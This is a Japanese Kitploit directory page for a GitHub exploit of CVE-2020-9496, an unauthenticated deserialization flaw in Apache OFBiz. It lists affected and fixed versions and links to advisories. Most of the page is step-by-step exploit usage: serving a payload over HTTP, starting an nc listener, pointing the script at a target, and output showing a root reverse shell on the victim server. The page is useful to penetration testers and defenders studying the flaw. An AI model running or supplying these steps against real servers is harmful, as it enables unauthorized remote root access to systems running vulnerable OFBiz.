Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-9496 | Kitploit
ツール/GitHubGitHub/s4dbrd/cve-2020-9496
脆弱性分析エクスプロイトウェブアプリケーション悪用リモートアクセスツールペイロード開発
GitHubs4dbrd/cve-2020-9496

CVE-2020-9496

リポジトリを見る
45年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-9496

webtools の2つの xmlrpc 関連リクエスト（xmlrpc と ping）は認証を使用していないため、安全でない逆シリアル化に対して脆弱です。
この問題は、GitHub Security Lab チームの Alvaro Munoz [email protected] によってセキュリティチームに報告されました。

影響を受けるバージョン 17.12.01

修正済みバージョン 18.12.01, 17.12.04

元のブログ: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
Apache の投稿: https://issues.apache.org/jira/browse/OFBIZ-11716
GitHub の POC: https://github.com/g33xter/CVE-2020-9496

このエクスプロイトを動作させるには、以下の手順を実行する必要があります：

ステップ1: python3 で HTTP サービスをホストする

root@kitploit:~
> sudo python3 -m http.server 80

ステップ2: 希望するポートで nc リスナーを実行する（推奨: 8001）

root@kitploit:~
> nc -nlvp 8001

ステップ3: スクリプト内のウェブサイトのURLとポートを変更します：

root@kitploit:~
url='https://127.0.0.1' # CHANGE THIS                                                         
port=8443 # CHANGE THIS

ステップ4: 以下のようにエクスプロイトを実行します：

root@kitploit:~
> ./cve-2020-9496.sh -i IP -p PORT

ステップ5: nc リスナーを確認します：

root@kitploit:~
❯ nc -nlvp 8001
listening on [any] 8001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.10.x.x] 57500
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
root@poc:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
root@poc:/usr/src/apache-ofbiz-17.12.01#
ツールをダウンロード